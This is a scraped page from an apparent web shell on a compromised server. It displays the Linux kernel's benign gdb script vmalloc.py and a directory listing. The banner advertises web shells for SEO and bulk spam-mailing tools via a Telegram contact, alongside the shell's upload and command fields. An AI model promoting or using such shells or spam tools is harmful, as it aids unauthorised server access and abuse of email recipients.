__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# SPDX-License-Identifier: GPL-2.0
#
# Copyright (c) 2023 MediaTek Inc.
#
# Authors:
#  Kuan-Ying Lee <[email protected]>
#

import gdb
import re
from linux import lists, utils, stackdepot, constants, mm

if constants.LX_CONFIG_MMU:
    vmap_area_type = utils.CachedType('struct vmap_area')
    vmap_area_ptr_type = vmap_area_type.get_type().pointer()

def is_vmalloc_addr(x):
    pg_ops = mm.page_ops().ops
    addr = pg_ops.kasan_reset_tag(x)
    return addr >= pg_ops.VMALLOC_START and addr < pg_ops.VMALLOC_END

class LxVmallocInfo(gdb.Command):
    """Show vmallocinfo"""

    def __init__(self):
        super(LxVmallocInfo, self).__init__("lx-vmallocinfo", gdb.COMMAND_DATA)

    def invoke(self, arg, from_tty):
        if not constants.LX_CONFIG_MMU:
            raise gdb.GdbError("Requires MMU support")

        nr_vmap_nodes = gdb.parse_and_eval('nr_vmap_nodes')
        for i in range(0, nr_vmap_nodes):
            vn = gdb.parse_and_eval('&vmap_nodes[%d]' % i)
            for vmap_area in lists.list_for_each_entry(vn['busy']['head'], vmap_area_ptr_type, "list"):
                if not vmap_area['vm']:
                    gdb.write("0x%x-0x%x %10d vm_map_ram\n" % (vmap_area['va_start'], vmap_area['va_end'],
                        vmap_area['va_end'] - vmap_area['va_start']))
                    continue
                v = vmap_area['vm']
                gdb.write("0x%x-0x%x %10d" % (v['addr'], v['addr'] + v['size'], v['size']))
                if v['caller']:
                    gdb.write(" %s" % str(v['caller']).split(' ')[-1])
                if v['nr_pages']:
                    gdb.write(" pages=%d" % v['nr_pages'])
                if v['phys_addr']:
                    gdb.write(" phys=0x%x" % v['phys_addr'])
                if v['flags'] & constants.LX_VM_IOREMAP:
                    gdb.write(" ioremap")
                if v['flags'] & constants.LX_VM_ALLOC:
                    gdb.write(" vmalloc")
                if v['flags'] & constants.LX_VM_MAP:
                    gdb.write(" vmap")
                if v['flags'] & constants.LX_VM_USERMAP:
                    gdb.write(" user")
                if v['flags'] & constants.LX_VM_DMA_COHERENT:
                    gdb.write(" dma-coherent")
                if is_vmalloc_addr(v['pages']):
                    gdb.write(" vpages")
                gdb.write("\n")

LxVmallocInfo()

Filemanager

Name Type Size Permission Actions
.gitignore File 65 B 0644
Makefile File 634 B 0644
__init__.py File 55 B 0644
clk.py File 2.57 KB 0644
config.py File 1.3 KB 0644
constants.py.in File 4.39 KB 0644
cpus.py File 6.05 KB 0644
device.py File 5.66 KB 0644
dmesg.py File 5.69 KB 0644
genpd.py File 2.65 KB 0644
interrupts.py File 7.67 KB 0644
kasan.py File 1.38 KB 0644
lists.py File 4.16 KB 0644
mapletree.py File 7.17 KB 0644
mm.py File 13.98 KB 0644
modules.py File 3.92 KB 0644
page_owner.py File 6.83 KB 0644
pgtable.py File 10.08 KB 0644
proc.py File 8.58 KB 0644
radixtree.py File 2.46 KB 0644
rbtree.py File 4.62 KB 0644
slab.py File 11.27 KB 0644
stackdepot.py File 2.62 KB 0644
symbols.py File 7.32 KB 0644
tasks.py File 3.17 KB 0644
timerlist.py File 7.86 KB 0644
utils.py File 5.87 KB 0644
vfs.py File 1.42 KB 0644
vmalloc.py File 2.33 KB 0644
xarray.py File 636 B 0644
Filemanager